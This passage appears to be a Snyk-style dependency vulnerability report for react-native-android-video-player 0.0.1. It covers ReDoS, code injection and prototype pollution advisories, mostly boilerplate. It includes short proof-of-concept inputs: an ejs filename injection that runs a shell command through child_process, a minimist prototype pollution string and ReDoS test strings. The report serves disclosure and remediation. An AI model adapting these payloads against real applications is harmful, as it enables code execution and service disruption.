Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash
to version 4.17.11 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › mem-fs-editor@2.3.0 › ejs@2.7.4Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
Remediation
Upgrade ejs
to version 3.1.6 or higher.
References
low severity
- Vulnerable module: braces
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › vinyl-fs@2.4.4 › glob-stream@5.3.5 › micromatch@2.3.11 › braces@1.8.5
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › vinyl-fs@2.4.4 › glob-stream@5.3.5 › micromatch@2.3.11 › braces@1.8.5
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}
) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 19th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade braces
to version 2.3.1 or higher.
References
low severity
- Vulnerable module: debug
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › body-parser@1.13.3 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › compression@1.5.2 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › connect-timeout@1.6.2 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › express-session@1.11.3 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › finalhandler@0.4.0 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › morgan@1.6.1 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-index@1.7.3 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-static@1.10.3 › send@0.13.2 › debug@2.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
debug
is a JavaScript debugging utility modelled after Node.js core's debugging technique..
debug
uses printf-style formatting. Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks via the the %o
formatter (Pretty-print an Object all on a single line). It used a regular expression (/\s*\n\s*/g
) in order to strip whitespaces and replace newlines with spaces, in order to join the data into a single line. This can cause a very low impact of about 2 seconds matching time for data 50k characters long.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade debug
to version 2.6.9, 3.1.0 or higher.
References
low severity
- Vulnerable module: mime
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-static@1.10.3 › send@0.13.2 › mime@1.3.4Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
mime is a comprehensive, compact MIME type module.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/
in its lookup, which can cause a slowdown of 2 seconds for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mime
to version 1.4.1, 2.0.3 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › optimist@0.6.1 › minimist@0.0.10
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype
.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 1.2.6 or higher.
References
low severity
- Vulnerable module: ms
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › connect-timeout@1.6.2 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › body-parser@1.13.3 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › compression@1.5.2 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › connect-timeout@1.6.2 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › express-session@1.11.3 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › finalhandler@0.4.0 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › morgan@1.6.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-index@1.7.3 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-static@1.10.3 › send@0.13.2 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-static@1.10.3 › send@0.13.2 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-favicon@2.3.2 › ms@0.7.2Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
ms
is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms()
function.
Proof of concept
ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
For more information on Regular Expression Denial of Service (ReDoS)
attacks, go to our blog.
Disclosure Timeline
- Feb 9th, 2017 - Reported the issue to package owner.
- Feb 11th, 2017 - Issue acknowledged by package owner.
- April 12th, 2017 - Fix PR opened by Snyk Security Team.
- May 15th, 2017 - Vulnerability published.
- May 16th, 2017 - Issue fixed and version
2.0.0
released. - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms
to version 2.0.0 or higher.